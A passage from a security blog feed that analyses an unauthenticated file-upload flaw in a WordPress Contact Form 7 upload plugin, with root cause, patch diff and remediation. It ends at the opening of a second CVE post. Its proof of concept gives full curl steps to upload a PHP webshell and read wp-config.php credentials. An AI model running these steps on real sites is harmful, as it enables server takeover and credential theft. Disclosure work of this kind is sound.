&lt;p&gt;When an admin adds a &lt;code&gt;blacklist-types&lt;/code&gt; option to a form tag — for example, to block &lt;code&gt;.zip&lt;/code&gt; or &lt;code&gt;.pdf&lt;/code&gt; uploads — the line &lt;code&gt;$blacklist_types = explode(...)&lt;/code&gt; &lt;strong&gt;replaces&lt;/strong&gt; the entire default denylist with only the custom entries. Any extension not explicitly listed in the custom blacklist (including &lt;code&gt;.php&lt;/code&gt;) is now permitted.&lt;/p&gt;
&lt;p&gt;The vulnerable form tag pattern that enables this:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;[mfile upload-file filetypes=&quot;*&quot; blacklist-types:zip]
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This is a realistic configuration: an admin wants to accept all file types but block ZIPs. The intent is additive, but the implementation is destructive.&lt;/p&gt;
&lt;p&gt;The inline hardcoded denylist used when &lt;code&gt;filetypes=&quot;*&quot;&lt;/code&gt; is also incomplete:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// line 927 — missing &apos;php&apos;, &apos;php3&apos;, &apos;php4&apos;, &apos;pht&apos;, &apos;phtml&apos;
$not_allowed_ext = array( &apos;phar&apos;, &apos;svg&apos;, &apos;php5&apos;, &apos;php7&apos;, &apos;php8&apos; );
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h4&gt;Weakness 3 — &lt;code&gt;wpcf7_antiscript_file_name()&lt;/code&gt; Bypassed for Non-ASCII Filenames (line 970)&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;// inc/dnd-upload-cf7.php — lines 969–972
$ascii_name = dnd_cf7_remove_icons( $filename );
if ( dnd_cf7_check_ascii( $ascii_name ) ) {
    $filename = wpcf7_antiscript_file_name( $ascii_name );  // only called for pure-ASCII filenames
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;wpcf7_antiscript_file_name()&lt;/code&gt; is a Contact Form 7 core function that detects dangerous extensions and renames them — for example, &lt;code&gt;shell.php&lt;/code&gt; becomes &lt;code&gt;shell.php.txt&lt;/code&gt;. This is the last line of defence before the file is written to disk.&lt;/p&gt;
&lt;p&gt;The guard condition &lt;code&gt;dnd_cf7_check_ascii()&lt;/code&gt; checks whether the filename is pure ASCII &lt;strong&gt;after&lt;/strong&gt; stripping emoji characters. Any non-ASCII character in the filename causes &lt;code&gt;dnd_cf7_check_ascii()&lt;/code&gt; to return &lt;code&gt;false&lt;/code&gt;, and the entire antiscript call is skipped. Non-ASCII characters include Cyrillic letters, Japanese kana, or any Unicode code point above U+007F.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// dnd_cf7_check_ascii internals (lines 1029–1041)
function dnd_cf7_check_ascii( $string ) {
    $string = sanitize_file_name( $string );
    if ( function_exists( &apos;mb_check_encoding&apos; ) ) {
        if ( mb_check_encoding( $string, &apos;ASCII&apos; ) ) {
            return true;
        }
    } elseif ( ! preg_match( &apos;/[^\x00-\x7F]/&apos;, $string ) ) {
        return true;
    }
    return false;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The internal &lt;code&gt;sanitize_file_name()&lt;/code&gt; call only affects the &lt;strong&gt;local copy&lt;/strong&gt; inside &lt;code&gt;dnd_cf7_check_ascii&lt;/code&gt;; the outer &lt;code&gt;$filename&lt;/code&gt; variable is not updated. So the non-ASCII character keeps the filename outside the ASCII guard, bypassing the rename. Meanwhile, the extension check earlier in the flow already passed because of Weakness 2.&lt;/p&gt;
&lt;hr /&gt;
&lt;h4&gt;Full Execution Path (Upload to RCE)&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;HTTP POST wp-admin/admin-ajax.php?action=_wpcf7_check_nonce
  → dnd_wpcf7_nonce_check()               [line 62]  → returns fresh nonce

HTTP POST wp-admin/admin-ajax.php?action=dnd_codedropz_upload
  → dnd_upload_cf7_upload()               [line 860]
      ├── check_ajax_referer()            [line 878]  → nonce valid (obtained above)
      ├── $blacklist_types = custom only  [line 884]  → &apos;php&apos; no longer blocked
      ├── $extension = &apos;php&apos;              [line 922]
      ├── Blacklist check: &apos;php&apos; ∉ [&apos;zip&apos;] → passes  [line 931]
      ├── dnd_cf7_check_ascii() = false   [line 970]  → antiscript skipped
      └── move_uploaded_file(shell.php)   [line 987]  → PHP shell written to disk
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h3&gt;Root Cause&lt;/h3&gt;
&lt;p&gt;Two independent root causes combine into a single exploitable path:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Logic error in blacklist composition&lt;/strong&gt;: &lt;code&gt;$blacklist_types = explode(...)&lt;/code&gt; uses assignment (&lt;code&gt;=&lt;/code&gt;) where it should merge (&lt;code&gt;array_merge&lt;/code&gt;). Any custom blacklist entry destroys the default denylist.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Conditional guard on a mandatory sanitization step&lt;/strong&gt;: &lt;code&gt;wpcf7_antiscript_file_name()&lt;/code&gt; must be called unconditionally. Gating it on an ASCII check creates a bypass path for every non-ASCII filename character.&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;hr /&gt;
&lt;h3&gt;Control Failures&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Nonce&lt;/strong&gt;: The nonce is supposed to prevent CSRF, not authenticate the user. But &lt;code&gt;dnd_wpcf7_nonce_check&lt;/code&gt; gives away a fresh nonce for free, making it effectively non-protective for unauthenticated upload.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;.htaccess&lt;/code&gt;&lt;/strong&gt;: The plugin writes an &lt;code&gt;.htaccess&lt;/code&gt; that blocks PHP execution in the upload directory. This is a mitigating control, not a preventive one. It does not prevent the file from being stored and could be ineffective on nginx-based hosts or servers where &lt;code&gt;.htaccess&lt;/code&gt; is disabled.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;sanitize_file_name()&lt;/code&gt;&lt;/strong&gt;: WordPress&apos;s file name sanitizer does not strip PHP extensions; it handles special characters and whitespace. It is not a security boundary for extension-based blocking.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;wpcf7_antiscript_file_name()&lt;/code&gt;&lt;/strong&gt;: This function works correctly, but is never invoked for non-ASCII filenames.&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;h3&gt;Attack Impact&lt;/h3&gt;
&lt;p&gt;An unauthenticated attacker can upload an arbitrary PHP webshell to the server&apos;s upload directory. Once uploaded, the attacker can request the file&apos;s URL to execute arbitrary PHP code with the privileges of the web server process, leading to:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Full remote code execution (RCE)&lt;/li&gt;
&lt;li&gt;Complete site takeover&lt;/li&gt;
&lt;li&gt;Data exfiltration (database credentials, user data)&lt;/li&gt;
&lt;li&gt;Lateral movement to other sites on shared hosting&lt;/li&gt;
&lt;li&gt;Persistent backdoor installation&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;h2&gt;Proof of Concept&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Disclaimer:&lt;/strong&gt; This PoC is provided for educational and defensive security research purposes only. Use only on systems you own or have explicit written authorization to test.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3&gt;Prerequisites&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;WordPress installation with the &lt;code&gt;drag-and-drop-multiple-file-upload-contact-form-7&lt;/code&gt; plugin installed and activated, version &amp;lt;= 1.3.9.6&lt;/li&gt;
&lt;li&gt;A Contact Form 7 form containing an &lt;code&gt;[mfile]&lt;/code&gt; field configured with &lt;code&gt;filetypes=&quot;*&quot;&lt;/code&gt; and any &lt;code&gt;blacklist-types&lt;/code&gt; option (e.g., &lt;code&gt;blacklist-types:zip&lt;/code&gt;). Example form tag:&lt;pre&gt;&lt;code&gt;[mfile upload-file filetypes=&quot;*&quot; blacklist-types:zip]
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;li&gt;The WordPress site URL is known. Replace &lt;code&gt;https://target.example.com&lt;/code&gt; below.&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;h3&gt;Step-by-Step Reproduction&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;Step 1: Obtain a valid security nonce&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;The &lt;code&gt;_wpcf7_check_nonce&lt;/code&gt; endpoint returns a fresh nonce to any visitor whose request does not carry a valid nonce. Setting a non-&lt;code&gt;curl&lt;/code&gt; User-Agent bypasses the only check in place.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;NONCE=$(curl -s -X POST \
  &quot;https://target.example.com/wp-admin/admin-ajax.php&quot; \
  -H &quot;User-Agent: Mozilla/5.0 (X11; Linux x86_64)&quot; \
  --data &quot;action=_wpcf7_check_nonce&quot; \
  | python3 -c &quot;import sys,json; print(json.load(sys.stdin)[&apos;data&apos;])&quot;)

echo &quot;Obtained nonce: $NONCE&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Expected response:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;{&quot;success&quot;:true,&quot;data&quot;:&quot;abc123def456&quot;}
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;p&gt;&lt;strong&gt;Step 2: Prepare the PHP webshell file with a non-ASCII filename&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;A non-ASCII character in the filename causes &lt;code&gt;dnd_cf7_check_ascii()&lt;/code&gt; to return &lt;code&gt;false&lt;/code&gt;, skipping &lt;code&gt;wpcf7_antiscript_file_name()&lt;/code&gt; and keeping the &lt;code&gt;.php&lt;/code&gt; extension intact.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# Create a minimal PHP webshell — the filename contains &apos;シ&apos; (U+30B7, Katakana letter Si)
SHELL_FILENAME=&quot;shellシ.php&quot;
echo &apos;&amp;lt;?php system($_GET[&quot;cmd&quot;]); ?&amp;gt;&apos; &amp;gt; &quot;/tmp/${SHELL_FILENAME}&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;p&gt;&lt;strong&gt;Step 3: Upload the PHP webshell&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Replace &lt;code&gt;FORM_ID&lt;/code&gt; with the actual CF7 form ID (visible in the form&apos;s URL or HTML source as &lt;code&gt;data-id&lt;/code&gt;), and &lt;code&gt;UPLOAD_FIELD_NAME&lt;/code&gt; with the name of the &lt;code&gt;[mfile]&lt;/code&gt; field (e.g., &lt;code&gt;upload-file&lt;/code&gt;).&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;FORM_ID=1
UPLOAD_FIELD_NAME=&quot;upload-file&quot;
SESSION_FOLDER=$(cat /proc/sys/kernel/random/uuid 2&amp;gt;/dev/null || uuidgen | tr &apos;[:upper:]&apos; &apos;[:lower:]&apos; | tr -d &apos;-&apos;)

curl -s -X POST \
  &quot;https://target.example.com/wp-admin/admin-ajax.php&quot; \
  -H &quot;User-Agent: Mozilla/5.0 (X11; Linux x86_64)&quot; \
  -F &quot;action=dnd_codedropz_upload&quot; \
  -F &quot;security=${NONCE}&quot; \
  -F &quot;form_id=${FORM_ID}&quot; \
  -F &quot;upload_name=${UPLOAD_FIELD_NAME}&quot; \
  -F &quot;upload_folder=${SESSION_FOLDER}&quot; \
  -F &quot;upload-file=@/tmp/${SHELL_FILENAME};type=application/x-php&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Expected success response:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;{
  &quot;success&quot;: true,
  &quot;data&quot;: {
    &quot;path&quot;: &quot;&amp;lt;session-folder-uuid&amp;gt;&quot;,
    &quot;file&quot;: &quot;shellシ.php&quot;
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Note the &lt;code&gt;path&lt;/code&gt; value from the response — it is the UUID of the upload folder.&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;&lt;strong&gt;Step 4: Locate the uploaded file&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;The plugin stores files under the WordPress uploads directory. The default path structure is:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;/wp-content/uploads/wp_dndcf7_uploads/wpcf7-files/&amp;lt;session-folder&amp;gt;/shellシ.php
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Construct the URL using the &lt;code&gt;path&lt;/code&gt; value returned in Step 3:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;UPLOAD_PATH=&quot;&amp;lt;path-from-response&amp;gt;&quot;
SHELL_URL=&quot;https://target.example.com/wp-content/uploads/wp_dndcf7_uploads/wpcf7-files/${UPLOAD_PATH}/shell%E3%82%B7.php&quot;
echo &quot;Shell URL: $SHELL_URL&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;p&gt;&lt;strong&gt;Step 5: Execute arbitrary commands via the webshell&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# Test command execution — run &apos;id&apos;
curl -s &quot;${SHELL_URL}?cmd=id&quot;

# Expected output:
# uid=33(www-data) gid=33(www-data) groups=33(www-data)

# Read WordPress config (credentials)
curl -s &quot;${SHELL_URL}?cmd=cat+/var/www/html/wp-config.php&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h3&gt;Expected Result&lt;/h3&gt;
&lt;p&gt;The attacker has full remote code execution on the server as the web server user (&lt;code&gt;www-data&lt;/code&gt; or equivalent). The PHP webshell remains accessible until the plugin&apos;s scheduled auto-cleanup cron job deletes it (default: 1 hour after upload).&lt;/p&gt;
&lt;hr /&gt;
&lt;h3&gt;Verification&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;The &lt;code&gt;curl&lt;/code&gt; in Step 5 returns OS command output (e.g., &lt;code&gt;uid=33(www-data)&lt;/code&gt;).&lt;/li&gt;
&lt;li&gt;The uploaded file exists on disk: SSH to the server and confirm with &lt;code&gt;ls /var/www/html/wp-content/uploads/wp_dndcf7_uploads/wpcf7-files/&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;A &lt;code&gt;.php&lt;/code&gt; file in the upload directory with the non-ASCII character in its name confirms the bypass succeeded.&lt;/li&gt;
&lt;/ol&gt;
&lt;hr /&gt;
&lt;h2&gt;Patch Analysis&lt;/h2&gt;
&lt;h3&gt;What Changed&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;File&lt;/th&gt;
&lt;th&gt;Change&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;inc/dnd-upload-cf7.php&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Fix blacklist merge logic; always call antiscript; expand inline denylist; add token-based folder ownership&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;assets/js/codedropz-uploader-min.js&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Client-side: generate and persist per-folder cryptographic token in &lt;code&gt;localStorage&lt;/code&gt;; send token with every upload/delete request&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;assets/js/dev/native-dev.js&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Same as above (development source)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;assets/js/codedropz-uploader-jquery.js&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Same as above (jQuery variant)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;drag-n-drop-upload-cf7.php&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Version bump to 1.3.9.7&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;readme.txt&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Changelog updated&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;hr /&gt;
&lt;h3&gt;How the Fix Works&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;Fix 1 — Blacklist now merges with default (line 896, patched)&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;- $blacklist_types = explode( &apos;|&apos;, $blacklist[&quot;$cf7_upload_name&quot;] );
+ $blacklist_option = explode( &apos;|&apos;, $blacklist[&quot;$cf7_upload_name&quot;] );
+ $custom_blacklist = array_filter( array_map( &apos;trim&apos;, $blacklist_option ) );
+ $blacklist_types  = array_unique( array_merge( $blacklist_types, $custom_blacklist ) );
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;array_merge()&lt;/code&gt; combines the default denylist with the custom entries. Administrators can still extend the blacklist, but can no longer accidentally remove protection for dangerous extensions.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Fix 2 — &lt;code&gt;wpcf7_antiscript_file_name()&lt;/code&gt; called unconditionally (line 974, patched)&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;- $ascii_name = dnd_cf7_remove_icons( $filename );
- if ( dnd_cf7_check_ascii( $ascii_name ) ) {
-     $filename = wpcf7_antiscript_file_name( $ascii_name );
- }
+ $filename = dnd_cf7_remove_icons( $filename );
+ $filename = wpcf7_antiscript_file_name( $filename );
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The ASCII guard is completely removed. &lt;code&gt;wpcf7_antiscript_file_name()&lt;/code&gt; is now always called regardless of the filename&apos;s character set. This closes the non-ASCII bypass entirely.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Fix 3 — Expanded inline denylist for &lt;code&gt;filetypes=&quot;*&quot;&lt;/code&gt; mode (line 944, patched)&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;- $not_allowed_ext = array( &apos;phar&apos;, &apos;svg&apos;, &apos;php5&apos;, &apos;php7&apos;, &apos;php8&apos; );
+ $not_allowed_ext = array( &apos;phar&apos;, &apos;svg&apos;, &apos;php&apos;, &apos;php3&apos;,&apos;php4&apos;, &apos;pht&apos;, &apos;phtml&apos;, &apos;php5&apos;, &apos;php7&apos;, &apos;php8&apos; );
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The inline list now includes &lt;code&gt;php&lt;/code&gt;, &lt;code&gt;php3&lt;/code&gt;, &lt;code&gt;php4&lt;/code&gt;, &lt;code&gt;pht&lt;/code&gt;, and &lt;code&gt;phtml&lt;/code&gt; — extensions that were previously missing from this specific code path.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Fix 4 — Per-folder cryptographic token (added in patched version)&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;The patch adds a token-based ownership mechanism. When the JavaScript first creates an upload session, it generates a random folder UUID &lt;strong&gt;and&lt;/strong&gt; a separate random token. The token is stored in &lt;code&gt;localStorage&lt;/code&gt; and sent with every upload and delete request. The server stores the token in a transient (&lt;code&gt;dnd_cf7_token_&amp;lt;folder_uuid&amp;gt;&lt;/code&gt;) for 12 hours and validates it on each request using &lt;code&gt;hash_equals()&lt;/code&gt;. This prevents an attacker from uploading to or deleting from a folder they did not create.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Residual risk&lt;/strong&gt;: The nonce exposure in &lt;code&gt;dnd_wpcf7_nonce_check()&lt;/code&gt; is &lt;strong&gt;not addressed&lt;/strong&gt; in 1.3.9.7. The endpoint still returns a fresh nonce to any unauthenticated visitor whose User-Agent string does not contain &lt;code&gt;curl&lt;/code&gt;. The new token adds an extra hurdle: the attacker must supply a token that matches the transient. However, since the token is generated client-side and sent in the same upload request, an attacker can simply generate their own. The nonce endpoint itself remains a weakness.&lt;/p&gt;
&lt;hr /&gt;
&lt;h3&gt;Key Code Changes&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;@@ -879,10 +896,12 @@
-        // Get blacklist Types
+        // Get blacklist Types (merge default not allowed ext and user defined option)
 		$blacklist_types = dnd_cf7_not_allowed_ext();
 		if ( isset( $blacklist[&quot;$cf7_upload_name&quot;] ) &amp;amp;&amp;amp; ! empty( $blacklist[&quot;$cf7_upload_name&quot;] ) ) {
-			$blacklist_types = explode( &apos;|&apos;, $blacklist[&quot;$cf7_upload_name&quot;] );
+			$blacklist_option = explode( &apos;|&apos;, $blacklist[&quot;$cf7_upload_name&quot;] );
+			$custom_blacklist = array_filter( array_map( &apos;trim&apos;, $blacklist_option ) );
+			$blacklist_types  = array_unique( array_merge( $blacklist_types, $custom_blacklist ) );
 		}

@@ -924,7 +943,7 @@
 		if ( $supported_type == &apos;*&apos; ) {
 			$file_type          = wp_check_filetype( $filename );
-			$not_allowed_ext    = array( &apos;phar&apos;, &apos;svg&apos;, &apos;php5&apos;, &apos;php7&apos;, &apos;php8&apos; );
+			$not_allowed_ext    = array( &apos;phar&apos;, &apos;svg&apos;, &apos;php&apos;, &apos;php3&apos;,&apos;php4&apos;, &apos;pht&apos;, &apos;phtml&apos;, &apos;php5&apos;, &apos;php7&apos;, &apos;php8&apos; );

@@ -968,10 +974,8 @@
-		$ascii_name = dnd_cf7_remove_icons( $filename );
-		if ( dnd_cf7_check_ascii( $ascii_name ) ) {
-			$filename = wpcf7_antiscript_file_name( $ascii_name );
-		}
+		$filename = dnd_cf7_remove_icons( $filename );
+		$filename = wpcf7_antiscript_file_name( $filename );
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;Timeline&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Date&lt;/th&gt;
&lt;th&gt;Event&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;April 17, 2026&lt;/td&gt;
&lt;td&gt;Vulnerability publicly disclosed by Wordfence&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;April 17, 2026&lt;/td&gt;
&lt;td&gt;Patched version 1.3.9.7 released&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;hr /&gt;
&lt;h2&gt;Remediation&lt;/h2&gt;
&lt;p&gt;Update the &lt;code&gt;drag-and-drop-multiple-file-upload-contact-form-7&lt;/code&gt; plugin to version &lt;strong&gt;1.3.9.7&lt;/strong&gt; or later.&lt;/p&gt;
&lt;p&gt;If you cannot update right now, try these mitigations:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Remove any &lt;code&gt;blacklist-types&lt;/code&gt; options from &lt;code&gt;[mfile]&lt;/code&gt; form tags, or replace them with an explicit &lt;code&gt;filetypes&lt;/code&gt; allowlist (e.g., &lt;code&gt;filetypes=&quot;pdf|docx|png&quot;&lt;/code&gt;).&lt;/li&gt;
&lt;li&gt;Ensure your web server&apos;s &lt;code&gt;.htaccess&lt;/code&gt; (Apache) or equivalent (nginx) blocks PHP execution in the uploads directory.&lt;/li&gt;
&lt;li&gt;Monitor the upload directory (&lt;code&gt;wp-content/uploads/wp_dndcf7_uploads/&lt;/code&gt;) for unexpected PHP files.&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;h2&gt;References&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;&lt;a href=&quot;https://plugins.trac.wordpress.org/browser/drag-and-drop-multiple-file-upload-contact-form-7/tags/1.3.9.6/inc/dnd-upload-cf7.php#L987&quot;&gt;Vulnerable file: inc/dnd-upload-cf7.php#L987 (move_uploaded_file)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://plugins.trac.wordpress.org/browser/drag-and-drop-multiple-file-upload-contact-form-7/tags/1.3.9.6/inc/dnd-upload-cf7.php#L883&quot;&gt;Vulnerable file: inc/dnd-upload-cf7.php#L883 (blacklist replacement)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://plugins.trac.wordpress.org/browser/drag-and-drop-multiple-file-upload-contact-form-7/tags/1.3.9.6/inc/dnd-upload-cf7.php#L970&quot;&gt;Vulnerable file: inc/dnd-upload-cf7.php#L970 (antiscript bypass)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://plugins.trac.wordpress.org/browser/drag-and-drop-multiple-file-upload-contact-form-7/tags/1.3.9.6/inc/dnd-upload-cf7.php#L62&quot;&gt;Vulnerable file: inc/dnd-upload-cf7.php#L62 (nonce exposure)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://plugins.trac.wordpress.org/changeset/3508522/drag-and-drop-multiple-file-upload-contact-form-7&quot;&gt;Patch changeset 3508522&lt;/a&gt;&lt;/li&gt;
&lt;/ol&gt;
</content:encoded><atom:updated>2026-04-22T00:00:00.000Z</atom:updated><category>security</category><category>wordpress</category><author>hello@hurayraiit.com (Abu Hurayra)</author></item><item><title>CVE-2026-2262: Easy Appointments Data Exposure via REST API</title><link>https://hurayraiit.com/blog/cve-2026-2262-easy-appointments-data-exposure-via-rest-api/</link><guid isPermaLink="true">https://hurayraiit.com/blog/cve-2026-2262-easy-appointments-data-exposure-via-rest-api/</guid><description>CVE-2026-2262 (CVSS 7.5 High): Easy Appointments &lt;= 3.12.21 exposes all customer PII via an unauthenticated REST API endpoint.</description><pubDate>Tue, 21 Apr 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;strong&gt;CVE-2026-2262&lt;/strong&gt; is a &lt;strong&gt;CVSS 7.5 (High)&lt;/strong&gt; Unauthenticated Sensitive Information Exposure vulnerability in the &lt;a href=&quot;https://wordpress.org/plugins/easy-appointments/&quot;&gt;Easy Appointments&lt;/a&gt; WordPress plugin. Any unauthenticated attacker can dump the full customer appointments database with a single HTTP GET request — no credentials needed. The exposed records include names, email addresses, phone numbers, IP addresses, appointment descriptions, and pricing.&lt;/p&gt;
&lt;h2&gt;Vulnerability Summary&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Field&lt;/th&gt;
&lt;th&gt;Value&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Plugin Name&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Easy Appointments&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Plugin Slug&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;easy-appointments&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;CVE ID&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-2262&quot;&gt;CVE-2026-2262&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;CVSS Score&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;7.5 (High)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;CVSS Vector&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Vulnerability Type&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Unauthenticated Sensitive Information Exposure via REST API&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Affected Versions&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://downloads.wordpress.org/plugin/easy-appointments.3.12.21.zip&quot;&gt;&amp;lt;= 3.12.21&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Patched Version&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://downloads.wordpress.org/plugin/easy-appointments.3.12.22.zip&quot;&gt;3.12.22&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Published&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;April 17, 2026&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Researcher&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.wordfence.com/threat-intel/vulnerabilities/researchers/md-tareq-ahamed-jony-0xt4req&quot;&gt;MD. TAREQ AHAMED JONY (itztrq) - Knight Squad&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Wordfence Advisory&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/easy-appointments/easy-appointments-31221-unauthenticated-sensitive-information-exposure-via-rest-api&quot;&gt;Link&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;hr /&gt;
&lt;h2&gt;Description&lt;/h2&gt;
